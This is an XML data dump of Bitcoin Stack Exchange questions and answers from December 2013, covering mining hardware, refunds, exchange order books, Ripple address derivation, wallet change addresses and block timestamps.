  <row Id="18878" PostTypeId="2" ParentId="18868" CreationDate="2013-12-16T20:36:13.537" Score="1" Body="&lt;p&gt;Dogecoin is the most profitable scrypt coin as of today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With growth from 0.05 BTC for 1 million to 0.35 BTC and difficulty rise from 4 to 101.67 in a week. Dec 9 - Dec 15, 2013&lt;/p&gt;&#xA;" OwnerUserId="4460" LastEditorUserId="4460" LastEditDate="2013-12-17T16:54:56.797" LastActivityDate="2013-12-17T16:54:56.797" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18879" PostTypeId="1" AcceptedAnswerId="18882" CreationDate="2013-12-16T20:38:35.613" Score="6" ViewCount="3324" Body="&lt;p&gt;How do I send Bitcoins back to the person that sent me them without asking that person for a address without querying a block explorer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already know that (given that the person has his own wallet and doesn't use a shared wallet service) I can look up the transaction with its txid on a block explorer and just use one of the source addresses, but can I do it without needing a block explorer, directly with bitcoind API calls?&lt;/p&gt;&#xA;" OwnerUserId="10862" LastActivityDate="2014-03-25T06:45:38.680" Title="Send Bitcoins back where they came from" Tags="|transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18880" PostTypeId="2" ParentId="18858" CreationDate="2013-12-16T20:40:09.770" Score="1" Body="&lt;p&gt;The process of going from a Ripple secret to a specific ECDSA private/public key (which you didn't ask about but I included it here anyway) is documented on the &lt;a href=&quot;https://ripple.com/wiki/Account_family&quot; rel=&quot;nofollow&quot;&gt;Account Family&lt;/a&gt; wiki page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a ECDSA public key, {X,Y}, you do &lt;code&gt;ripemd160(sha256(CompressPoint(X,Y))&lt;/code&gt;.&#xA;That's then &lt;a href=&quot;https://ripple.com/wiki/Encodings&quot; rel=&quot;nofollow&quot;&gt;encoded in base58&lt;/a&gt; (using the Ripple alphabet/dictionary).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also look at the &lt;a href=&quot;https://github.com/ripple/rippled/blob/develop/src/ripple_data/crypto/CKeyDeterministic.cpp&quot; rel=&quot;nofollow&quot;&gt;rippled&lt;/a&gt; implementation or a &lt;a href=&quot;https://godoc.org/bitbucket.org/dchapes/ripple/crypto/rkey#AcctPublicKey.Address&quot; rel=&quot;nofollow&quot;&gt;Go implementation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2013-12-16T20:40:09.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18881" PostTypeId="1" AcceptedAnswerId="18884" CreationDate="2013-12-16T20:46:47.250" Score="0" ViewCount="662" Body="&lt;p&gt;I want to start my own exchange like btc-e.com I have plenty of money to invest please guide me in this. I myself have knowledge of php but dont want to experiment on things I want it to up and running in a week or so. &lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2013-12-17T09:37:05.600" Title="I want to start my own exchange" Tags="|exchanges|" AnswerCount="1" CommentCount="2" ClosedDate="2014-02-22T03:44:26.860" ContentLicense="CC BY-SA 3.0" />
  <row Id="18882" PostTypeId="2" ParentId="18879" CreationDate="2013-12-16T20:55:25.667" Score="5" Body="&lt;p&gt;So called &quot;block chain based refund&quot; is not reliable with bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sending wallet may be a shared web wallet (blockchain.info, MtGox, e.g. any web site) and thus you cannot guarantee that any of &lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot; rel=&quot;nofollow noreferrer&quot;&gt;change addresses&lt;/a&gt; in the transaction are controlled by the user. Even by exploring the block chain and knowing from which address the bitcoins arrived and where unspent change went, it is not guaranteed that if you make a refund to any of these addresses the sender receives the payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, all refunds must be handled off-band and the refund bitcoin address must be asked separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. &lt;a href=&quot;http://satoshidice.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;SatoshiDice&lt;/a&gt; includes the following disclaimer (players basically must use a desktop wallet where the wallet software generates a change address and the wallet is not shared with other users):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  IMPORTANT: Only use wallets that allow you to receive Bitcoin from the same address you sent from. If you're not sure, test by sending a bet for the minimum amount. If you get nothing back, then your wallet is not compatible. Note that some bets may require one confirmation before the win/loss value is sent back. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://just-dice.com/#a11&quot; rel=&quot;nofollow noreferrer&quot;&gt;A just-dice.com FAQ regarding shared web wallet.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case you still want to pursuit change-address based refund you might find these links useful&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/9152/5464&quot;&gt;https://bitcoin.stackexchange.com/a/9152/5464&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/5982/5464&quot;&gt;https://bitcoin.stackexchange.com/a/5982/5464&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=138752.msg1481892#msg1481892&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=138752.msg1481892#msg1481892&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is some more info (I have written this down some time ago, but I have not verified whether this is still valid):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your bitcoind must run in a special: Since bitcoind/Bitcoin-qt 0.8, no transaction index is kept anymore by default, as it is not necessary for validation in the new database model. Instead, there is only a database of unspent transaction outputs, which has enough information to (slowly) locate transactions in block files. getrawtransaction uses this, but it only works for transactions that are not yet spent in the block chain. If you want to be able to look up historical transactions, you need to set the txindex=1 configuration option (or start with the -txindex command line flag). As this setting can only be set when the database is created, you'll need to rebuild it from scratch (using -reindex).&lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-12-16T22:24:06.407" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="18883" PostTypeId="2" ParentId="18868" CreationDate="2013-12-16T21:04:48.593" Score="0" Body="&lt;p&gt;I don't think you have a choice. You will not do much mining bitcoins with MH/s. You need at least a few GH/s. Not sure about litecoin. If you want to mine bitcoins you have to look for specific hardware (&lt;a href=&quot;http://www.butterflylabs.com/&quot; rel=&quot;nofollow&quot;&gt;butterfly labs&lt;/a&gt; &lt;a href=&quot;https://www.kncminer.com/&quot; rel=&quot;nofollow&quot;&gt;kncminer&lt;/a&gt;) or cloudmining like &lt;a href=&quot;https://cex.io/r/1/giagola/0/&quot; rel=&quot;nofollow&quot;&gt;cexio&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10285" LastActivityDate="2013-12-16T21:04:48.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18884" PostTypeId="2" ParentId="18881" CreationDate="2013-12-16T21:05:17.317" Score="3" Body="&lt;p&gt;Because orderbook based exchanges are not exactly trivial to implement with all necessary security what you are asking is unlikely to happen in business-wise. Even with the best software developers of the world you could not achieve what you wish within a week or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have plenty of money to invest and you want hiqh quality, long-term, results for your project, what you should expect &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Lead development time of 2-3 months with 2-3 person team with the following components&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Orderbook (&lt;a href=&quot;http://buttercoin.net/&quot; rel=&quot;nofollow&quot;&gt;open source Buttercoin engine available&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;User account management&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Deposit and withdrawal&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A way to get fiat currency in and out from your exchange (you probably should have a special deal with a bank)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you are using western world senior software developers, expect cost between 25 k - 100 kUSD&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also I recommend not to use PHP or ASP.NET programming frameworks, pick Ruby, Python or JavaScript instead. PHP systems have historical record of being prone to hacks and that's something you do not want with financial systems like Bitcoin; using PHP would greatly diminish the trustability of your service. Bitcoin users have become aware of shady services and they most likely want to see that the service you deliver can be trusted before they put in their money into it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on how you set the question it seems that you do not have much experience with software development, so my suggestion is that you hire a project manager who would do the planning for you.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="5464" LastEditDate="2013-12-17T09:37:05.600" LastActivityDate="2013-12-17T09:37:05.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18885" PostTypeId="2" ParentId="1433" CreationDate="2013-12-16T21:22:16.523" Score="4" Body="&lt;p&gt;If you are after bitcoins I wouldn't even spend time on CPU or GPU. It is now difficult with specialized hardware (butterfly labs, kncminer ... ). You can have a look at cloud mining (&lt;a href=&quot;https://cex.io/r/1/giagola/0/&quot; rel=&quot;nofollow&quot;&gt;cexio&lt;/a&gt;) as well it is expensive and you have to have bitcoins already but you can buy and sell GH/s and you can actually make more from trading than mining.  &lt;/p&gt;&#xA;" OwnerUserId="10285" LastActivityDate="2013-12-16T21:22:16.523" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18886" PostTypeId="2" ParentId="18843" CreationDate="2013-12-16T21:34:46.817" Score="1" Body="&lt;p&gt;Here is a quite detailed Litecoin mining performance collection for different hardwares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://litecoin.info/Mining_hardware_comparison&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10938" LastActivityDate="2013-12-16T21:34:46.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18887" PostTypeId="2" ParentId="18321" CreationDate="2013-12-16T21:45:48.840" Score="0" Body="&lt;p&gt;Ok, it seems I've found kind a solution. Now my rig running for 16 hours without freezing. The only thing I did, I've placed --thread-concurrency 24000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my parameters are -I 20 --thread-concurrency 24000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that's all.&lt;/p&gt;&#xA;" OwnerUserId="10739" LastActivityDate="2013-12-16T21:45:48.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18888" PostTypeId="2" ParentId="18321" CreationDate="2013-12-16T21:53:14.813" Score="1" Body="&lt;p&gt;I d recommend to try bfgminer , a more secure and robust fork of cgminer : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bfgminer.org/&quot; rel=&quot;nofollow&quot;&gt;http://bfgminer.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/luke-jr/bfgminer&quot; rel=&quot;nofollow&quot;&gt;https://github.com/luke-jr/bfgminer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="558" LastActivityDate="2013-12-16T21:53:14.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18889" PostTypeId="1" CreationDate="2013-12-16T21:53:40.890" Score="2" ViewCount="943" Body="&lt;p&gt;Can you explain me in detail, what affect the price on BTC-e ? I understand the mechanic, like if there is strong demand and limited supply the price goes up. But how does it work on BTC-e? Because to me it looks like the website is setting the price itself. There are lowest and highest ask prices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="10942" LastActivityDate="2013-12-16T22:35:51.120" Title="BTC/USD price on BTC-e" Tags="|exchanges|exchange-rate|btce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18890" PostTypeId="1" AcceptedAnswerId="18896" CreationDate="2013-12-16T22:10:30.463" Score="1" ViewCount="125" Body="&lt;p&gt;Please ignore the connection between difficulty &amp;amp; creation rates for the purposes of this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can a difficulty be set so low that the security of transactions is compromised?  In other words, if a difficulty is set too low, can malicious miners forge transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, what number is &quot;too low&quot;, and how is it determined?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2013-12-16T22:57:54.933" Title="Is a low difficulty insecure?" Tags="|security|difficulty|transaction-verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18891" PostTypeId="2" ParentId="18889" CreationDate="2013-12-16T22:10:40.907" Score="4" Body="&lt;p&gt;This is exactly how a normal stock exchange works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The quoted rate and the &lt;strong&gt;Buy&lt;/strong&gt; and &lt;strong&gt;Ask&lt;/strong&gt; prices are just driven by the supply and demand of people wanting to trade on that exchange.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTC-e operates an order book. Sellers add &lt;strong&gt;Sell&lt;/strong&gt; orders with an &lt;strong&gt;Ask&lt;/strong&gt; price which they are happy to sell at (This is called a &lt;strong&gt;Limit&lt;/strong&gt; order)&#xA;Buyers places Buy orders with a &lt;strong&gt;buy&lt;/strong&gt; (or &lt;strong&gt;bid&lt;/strong&gt;) price they are willing to pay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference between the two prices is called a &lt;strong&gt;spread&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you place a &lt;strong&gt;Limit Buy&lt;/strong&gt; order, but it is below the lowest &lt;strong&gt;Sell&lt;/strong&gt; order then your order gets placed in the order book. If it was higher than the highest order, already in the order book, then the quoted &lt;strong&gt;Bid&lt;/strong&gt; price will increase to the price you &lt;strong&gt;Bid&lt;/strong&gt; at. Now if later someone else places a sell order at or below your bid price, then the order book will match your order and it will become a trade. (and vice versa).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this happens. your orders are taken off the order book* and the next lower &lt;strong&gt;Buy&lt;/strong&gt; order and next higher &lt;strong&gt;Sell&lt;/strong&gt; order will become the new &lt;strong&gt;Bid&lt;/strong&gt; and &lt;strong&gt;Ask&lt;/strong&gt; prices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you want to make a &lt;strong&gt;Buy&lt;/strong&gt; (or &lt;strong&gt;Sell&lt;/strong&gt;) &lt;strong&gt;Trade&lt;/strong&gt; right now: &#xA;You can place a &lt;strong&gt;Market&lt;/strong&gt; order which you say you want to &lt;strong&gt;Buy&lt;/strong&gt; (or &lt;strong&gt;Sell&lt;/strong&gt;) X number of coins (or shares on a stock market) i.e., you don't give a price.&#xA;When you do that, the BTC-e order book software will match the lowest sell limit order (or highest buy order when you are selling) and create a trade right away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is the right order type to place, that depend on your trading strategy and is a whole other topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rate quoted is normally the last price that a pair of orders that was matched at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*It is slightly more complex than that, because you have partial fills, but you get the idea.&lt;/p&gt;&#xA;" OwnerUserId="7052" LastEditorUserId="7052" LastEditDate="2013-12-16T22:35:51.120" LastActivityDate="2013-12-16T22:35:51.120" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18893" PostTypeId="1" CreationDate="2013-12-16T22:28:39.800" Score="0" ViewCount="1072" Body="&lt;p&gt;I am new to BTC mining, even totally new to bitcoins. I closed and restarted my GUIMiner and all my bitcoin shares were gone. What am I doing wrong? Is there a way to persist these shares across GUIMiner restarts? &lt;/p&gt;&#xA;" OwnerUserId="10944" LastEditorUserId="5406" LastEditDate="2016-02-08T12:49:21.737" LastActivityDate="2016-02-08T12:49:21.737" Title="Lost mining shares when restarted GUIMiner" Tags="|mining-pools|mining-pool-shares|guiminer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18894" PostTypeId="2" ParentId="18852" CreationDate="2013-12-16T22:32:07.103" Score="3" Body="&lt;p&gt;Recognizing that Bitcoin has no INTRINSIC value, we look for its USE value, so to speak. The primary value of BItcoin is the reliable and indefeasible transfer of property title (money) between two users. Ever since the first use of the Nakamoto protocol in Jan 2009, there has been a proof-of-concept that has remained valid for almost five years and continues to function through extreme volume and market volatility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This proven ability for reliable performance is the principal value of Bitcoin. Were it to be compromised, or made to fail massively, the value of a bitcoin would collapse, until it could be repaired, or perhaps to never recover. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other subordinate values-in-use can be analyzed in like manner, but as long as this primary value is intact, the price of bitcoin will continue to rise as it will continue to be useful, and thus valued for its use.&lt;/p&gt;&#xA;" OwnerUserId="4911" LastActivityDate="2013-12-16T22:32:07.103" CommentCount="1" CommunityOwnedDate="2013-12-16T22:32:07.103" ContentLicense="CC BY-SA 3.0" />
  <row Id="18895" PostTypeId="2" ParentId="18877" CreationDate="2013-12-16T22:52:40.173" Score="3" Body="&lt;p&gt;A bitcoin address is not the same as a wallet.  If you have the private key for the address, you can import the key into either Bitcoin-Qt or a lightweight wallet such as MultiBit.  You will then be able to send and receive coins using this address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To import a private key into Bitcoin-Qt, read &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_import_private_keys_v7+&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;this&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To import a private key into MultiBit, read &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/14154/how-do-import-a-paper-private-key-into-multibit&quot;&gt;&lt;strong&gt;this&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9301" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-12-16T22:52:40.173" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18896" PostTypeId="2" ParentId="18890" CreationDate="2013-12-16T22:57:54.933" Score="2" Body="&lt;p&gt;A low difficulty is only insecure if the malicious miners have a combined hash power much greater than the difficulty level.  The difficulty level is adjusted up or down every 2 weeks so that a new block continues to be found approximately every 10 minutes.  So, to forge transactions, a large percentage of the current miners would need to stop mining in order to get the difficulty level to drop.  Then the malicious miners could jump in and create bogus transactions assuming they controlled enough hash power to make their blockchain the accepted one.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-16T22:57:54.933" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18897" PostTypeId="2" ParentId="17101" CreationDate="2013-12-16T23:24:07.040" Score="8" Body="&lt;p&gt;Copying the same wallet.dat to two different computers will initially seem to work, but if you continue to use bitcoin-qt to send bitcoin, the two copies will get out of sync.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is the automatic use of &quot;change&quot; addresses. Each time you send an amount less than you originally received, there is &quot;change&quot; that must be returned to you.  The developers of bitcoin-qt considered this to be a privacy weakness, as it would make it easier to tell for sure how much was paid and to whom.  To make it more private, they generate a new random &quot;change&quot; address in your wallet and send back your change to that new address.  To a third party looking at the block chain, it is hard to tell who holds the change address or who was the actual recipient of the transaction.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reality is that the use of change addresses does little to improve privacy, but sets up new users for a &quot;big surprise&quot; the first time they send a small amount and see their wallet balance temporarily go to zero prior to confirmation of the change. It also makes it unsafe to copy the same wallet to multiple computers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other wallets that give the user control over use of change addresses and that also make the change addresses visible and therefore more understandable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another area where other wallets can help is in the generation of new addresses.  The original bitcoin-qt wallet generates new addresses randomly.  It tries to keep a pool of pre-generated addresses, so that if you copy a wallet it will seem to generate the same new addresses as the original, but eventually the pool of keys will be used up and after that the two copies of the wallet will start to have different contents.  The Electrum guys solved this by making the whole wallet &quot;deterministic&quot;.  That means that all future keys are determined completely by the &quot;seed&quot; and are not truly random.  Because of this, you can restore the same wallet on multiple machines and all copies will forever remain in sync.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plans to add this sort of functionality to the main bitcoin-qt wallet, but until that is done, alternate wallets are needed if you want to share between computers. Electrum is not the only wallet that provides all these features, but it is the one I am most familiar with.  See electrum.org.&lt;/p&gt;&#xA;" OwnerUserId="628" LastActivityDate="2013-12-16T23:24:07.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18900" PostTypeId="1" AcceptedAnswerId="18904" CreationDate="2013-12-17T01:18:11.400" Score="4" ViewCount="223" Body="&lt;p&gt;I apologize for such a noobish question and am ashamed that I'm not getting this yet, but I can't seem to put together all of the pieces.  I've read every question I can find on the subject, the Satoshi paper, and bitcointalk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How exactly is a transaction signed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How &lt;em&gt;exactly&lt;/em&gt; is a transaction verified?  I simply cannot understand how secure transactions signed with private keys that are presumably unknown to all else can be confirmed to be valid and correct without actually knowing the private key itself.  Please show me in detail how this works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this looks like a dupe, but I've read every related question, and I just can't get to that &quot;ah ha&quot; moment that puts it all together.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2013-12-18T07:53:45.323" Title="Exhaustive technical explanation of signing &amp; verification" Tags="|private-key|public-key|signature|transaction-verification|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18901" PostTypeId="2" ParentId="13438" CreationDate="2013-12-17T01:28:51.683" Score="1" Body="&lt;p&gt;When the mutation &quot;coinbase&quot; (see &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0023.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP 23&lt;/a&gt;) is present, the key &quot;coinbaseaux&quot; sets rules for what MUST be in a coinbase if/when one is built/modified. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key &quot;coinbasetxn&quot; is optional, and if omitted the mutation &quot;coinbase&quot; is assumed and the implication is that &quot;coinbaseaux&quot; MAY define requirements for building the coinbase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key &quot;coinbaseaux&quot; is also optional, however its omission has no implications according to BIP 23.&lt;/p&gt;&#xA;" OwnerUserId="942" LastEditorUserId="4993" LastEditDate="2013-12-30T16:45:24.530" LastActivityDate="2013-12-30T16:45:24.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18902" PostTypeId="2" ParentId="13394" CreationDate="2013-12-17T01:31:56.683" Score="1" Body="&lt;p&gt;You probably want to look at BIPs 22 and 23, as well as the libblkmaker source code (which includes an example of usage).&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-12-17T01:31:56.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18903" PostTypeId="1" CreationDate="2013-12-17T02:12:00.893" Score="1" ViewCount="123" Body="&lt;p&gt;I'm going to create a bitcoin exchange service and I am trying to find a platform to do this. All the platforms I have found so far (bex.io and buttercoin), propose to split income with you. Is there any platform out there that sells or licenses without this revenue sharing model?&lt;/p&gt;&#xA;" OwnerUserId="10950" LastEditorUserId="5406" LastEditDate="2013-12-17T09:59:28.320" LastActivityDate="2018-01-10T06:40:13.953" Title="Is there any bitcoin exchange software that does not split net income?" Tags="|exchanges|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18904" PostTypeId="2" ParentId="18900" CreationDate="2013-12-17T02:31:38.720" Score="2" Body="&lt;p&gt;This should get you started on public key verification: &lt;a href=&quot;http://en.wikipedia.org/wiki/Digital_signature&quot; rel=&quot;nofollow&quot;&gt;**Digical signature&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In essence, the bitcoin address is the public key.  A hash is created of the transaction and this value is then encrypted using the private key that is known only to the owner of the bitcoin address.  Anybody can then use the public key (the bitcoin address) to decrypt this hash value and determine that the transaction has not been modified by creating a hash of the transaction and then comparing it to the decrypted value.  This serves a two-fold purpose: it protects against transaction modification and it proves that the transaction creator has access to the private key for the bitcoin address.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-17T02:31:38.720" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18905" PostTypeId="2" ParentId="3851" CreationDate="2013-12-17T02:53:12.037" Score="0" Body="&lt;p&gt;Well, there's coding. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course like many pointed out things, it might not be necessary. Every Bitcoin is divided in one hundred million units if I'm right. That should keep everything all right for now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is that a change like this (eliminating the limit) can cause problems with how the currency will be regarded (it can make it worthless). The alternative is to make more subdivisions...like splitting a Satoshi into 1000 units to keep miners mining but the thing is that miners have &quot;tricked&quot; the system already and they will continue to do so.  &lt;/p&gt;&#xA;" OwnerUserId="9970" LastEditorUserId="9970" LastEditDate="2013-12-17T03:06:18.920" LastActivityDate="2013-12-17T03:06:18.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18907" PostTypeId="1" AcceptedAnswerId="18908" CreationDate="2013-12-17T04:24:12.657" Score="2" ViewCount="688" Body="&lt;p&gt;I've seen that blocks include timestamps which are updated &quot;Every few seconds&quot;, but who updates the timestamps, and are the timestamps used to verify transactions in chronological order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a block with a certain timestamp is added to the blockchain, will any block with an earlier timestamp be rejected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is the timestamp used by the protocol?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2013-12-17T04:54:51.990" Title="Are transactions verified in chronological order?" Tags="|timestamp|transaction-verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18908" PostTypeId="2" ParentId="18907" CreationDate="2013-12-17T04:54:51.990" Score="2" Body="&lt;p&gt;According to &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_timestamp&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki&lt;/a&gt;, there is some tolerance in the accepted timestamp for a new block:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A timestamp is accepted as valid if it is greater than the median timestamp of previous 11 blocks, and less than the network-adjusted time + 2 hours. &quot;Network-adjusted time&quot; is the median of the timestamps returned by all nodes connected to you.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The reason, as explained in &lt;a href=&quot;https://bitcoin.stackexchange.com/a/3745/5887&quot;&gt;an answer to a related question&lt;/a&gt;, is that &quot;without a central authority, it's impossible to know for sure what the current time is&quot; (in the sense that, while there might be standards that set the &quot;correct time&quot;, you can't prove that an operation that happened in a computer somewhere in the world actually happened the time it says it did).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, answering your doubts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Who updates the timestamps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The miner that produced the block assigns the timestamp, and the other peers in the network endorse it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are the timestamps used to verify transactions in chronological order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What matters is the order of blocks in the blockchain, not the order of the timestamps (since to produce a block you need a previous block &quot;done&quot;, it follows that the transactions in that block happened &lt;strong&gt;after&lt;/strong&gt; the transactions of the previous one).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If a block with a certain timestamp is added to the blockchain, will any block with an earlier timestamp be rejected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only if it falls outside the margin of tolerance mentioned above.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How is the timestamp used by the protocol?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure of all the reasons it exists, but you can start by looking at &lt;a href=&quot;https://bitcoin.stackexchange.com/q/12954/5887&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/q/915/5887&quot;&gt;this&lt;/a&gt; questions. My understanding is that it's unfeasible to know &lt;strong&gt;exactly&lt;/strong&gt; when a transaction happened, but you still need a rough knowledge of the time at the very least, for several reasons.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5887" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-12-17T04:54:51.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
